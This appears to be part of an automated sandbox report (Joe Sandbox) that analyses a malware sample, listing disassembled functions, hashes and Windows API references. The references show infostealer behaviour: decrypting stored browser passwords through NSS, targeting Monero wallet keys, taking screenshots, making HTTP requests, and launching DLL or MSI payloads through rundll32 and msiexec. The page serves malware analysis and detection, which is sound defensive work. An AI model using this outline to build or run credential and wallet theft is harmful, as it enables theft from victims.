Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90928fdd2154fab42979aab2a3724d409ad12f8f069ff069123b6e60968c0f9
Instruction ID: 3f868cb30f4f1804b00d2bdd52a836108999c6ae49fde392d3efe7e02fcd6920
Opcode Fuzzy Hash: b90928fdd2154fab42979aab2a3724d409ad12f8f069ff069123b6e60968c0f9
Instruction Fuzzy Hash: 3551F3F3E142104BF3045D39DD94766BA979BC4360F2B4A3DEB8897B84E97A4C054686

Function 004B9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 004AC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 004AC9A5

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00FDCE18,00000000,?,004C144C,00000000,?,?), ref: 004ACA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 004ACA89
GetFileSize.KERNEL32(00000000,00000000), ref: 004ACA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004ACAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 004ACAD9
StrStrA.SHLWAPI(?,00FDCC38,004C0B52), ref: 004ACAF7
StrStrA.SHLWAPI(00000000,00FDCE60), ref: 004ACB1E
StrStrA.SHLWAPI(?,00FDD3E8,00000000,?,004C1458,00000000,?,00000000,00000000,?,00FD8EE8,00000000,?,004C1454,00000000,?), ref: 004ACCA2
StrStrA.SHLWAPI(00000000,00FDD6C8), ref: 004ACCB9

Part of subcall function 004AC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 004AC871
Part of subcall function 004AC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 004AC87C
Part of subcall function 004AC820: PK11_GetInternalKeySlot.NSS3 ref: 004AC88A
Part of subcall function 004AC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 004AC8A5
Part of subcall function 004AC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 004AC8EB
Part of subcall function 004AC820: PK11_FreeSlot.NSS3(?), ref: 004AC961

StrStrA.SHLWAPI(?,00FDD6C8,00000000,?,004C145C,00000000,?,00000000,00FD8F58), ref: 004ACD5A
StrStrA.SHLWAPI(00000000,00FD8D68), ref: 004ACD71

Part of subcall function 004AC820: lstrcat.KERNEL32(?,004C0B46), ref: 004AC943
Part of subcall function 004AC820: lstrcat.KERNEL32(?,004C0B47), ref: 004AC957
Part of subcall function 004AC820: lstrcat.KERNEL32(?,004C0B4E), ref: 004AC978

lstrlen.KERNEL32(00000000), ref: 004ACE44
CloseHandle.KERNEL32(00000000), ref: 004ACE9C
NSS_Shutdown.NSS3 ref: 004ACEAA

Strings

, xrefs: 004AC9C6

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: be683fad6788dc83d4cec36986da049c7b578f90a9665023eba4b341a442d4f1
Instruction ID: 7d9c9cf8e5eb21413018aae345ec5cd349df12b3b4b1ff8e90854511af7c1789
Opcode Fuzzy Hash: be683fad6788dc83d4cec36986da049c7b578f90a9665023eba4b341a442d4f1
Instruction Fuzzy Hash: 3AE10BB1800108BBDB14FBA5DC92FEEB779AF14304F40415EF10666191EF386A5ACB7A

Function 004B9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004B906C

Strings

image/jpeg, xrefs: 004B9136

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 9ad5a2015e5963f8c508c03ae7eeeba740fcf14045d137729936a20cb608c965
Instruction ID: 976511ac10715bc904650c04067ad2f78268f94c0a129472249690a2a22df623
Opcode Fuzzy Hash: 9ad5a2015e5963f8c508c03ae7eeeba740fcf14045d137729936a20cb608c965
Instruction Fuzzy Hash: 4071CE75D10208ABDB04EFE4DC89FEEB7B9BF48700F109509F615AB290DB38A945CB65

Function 004B17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004B17C5
ExitProcess.KERNEL32 ref: 004B17D1

Strings

block, xrefs: 004B17B7

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a7d6701ce9e818fb8028352c37573f05d406ca2c72053d06ca1be88db893988d
Instruction ID: 668f1e11ee9c727d9c4f4a38d5d818901fae98e81059dcde0ea7a35e171cac8e
Opcode Fuzzy Hash: a7d6701ce9e818fb8028352c37573f05d406ca2c72053d06ca1be88db893988d
Instruction Fuzzy Hash: 6F516FB4A00249EBCB04DFA1D9A4BFE77B5BF44704F50405AE4066B360D778E952CB7A

Function 004B2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

ShellExecuteEx.SHELL32(0000003C), ref: 004B31C5
ShellExecuteEx.SHELL32(0000003C), ref: 004B335D
ShellExecuteEx.SHELL32(0000003C), ref: 004B34EA

Strings

.msi, xrefs: 004B3398
.dll, xrefs: 004B31E5
/i ", xrefs: 004B33E4
<, xrefs: 004B3490
/passive, xrefs: 004B345B
"" , xrefs: 004B309A
C:\Windows\system32\msiexec.exe, xrefs: 004B34BF
C:\Windows\system32\rundll32.exe, xrefs: 004B3332

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 5c04399077fad8cef9b1de21d9b145a4168a2c156ca5fdb3ec9ed8cbc0f00413
Instruction ID: 0d9bc119e112a38904150a4f12d1f28f3207ad69cff0f4aca101c56e12b8aadb
Opcode Fuzzy Hash: 5c04399077fad8cef9b1de21d9b145a4168a2c156ca5fdb3ec9ed8cbc0f00413
Instruction Fuzzy Hash: 87122D71800108AADB15FBA1CC92FEEB738AF14304F50455EF50666191EF782B5ACFBA

Function 004B52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A6280: InternetOpenA.WININET(004C0DFE,00000001,00000000,00000000,00000000), ref: 004A62E1
Part of subcall function 004A6280: StrCmpCA.SHLWAPI(?,00FDF620), ref: 004A6303
Part of subcall function 004A6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004A6335
Part of subcall function 004A6280: HttpOpenRequestA.WININET(00000000,GET,?,00FDEE18,00000000,00000000,00400100,00000000), ref: 004A6385
Part of subcall function 004A6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004A63BF
Part of subcall function 004A6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004A63D1

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004B5318
lstrlen.KERNEL32(00000000), ref: 004B532F

Part of subcall function 004B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004B8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 004B5364
lstrlen.KERNEL32(00000000), ref: 004B5383
lstrlen.KERNEL32(00000000), ref: 004B53AE

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Strings

ERROR, xrefs: 004B53B9
ERROR, xrefs: 004B54A9
ERROR, xrefs: 004B5432
ERROR, xrefs: 004B530A
ERROR, xrefs: 004B546F

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: c9c66ab782e6e1fe49ff070f662d0028c87569936dbd75499b8d7b4e6673d0ad
Instruction ID: bfe50abecacdc1df7aed31348b5ccf2529ebbe723c1df2309fd9ab5e75e697ab
Opcode Fuzzy Hash: c9c66ab782e6e1fe49ff070f662d0028c87569936dbd75499b8d7b4e6673d0ad
Instruction Fuzzy Hash: 93511C34910148ABCB24FF75C9A2BED7779AF14308F50401EE4066A592EF386B56CB7A

Function 004B12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

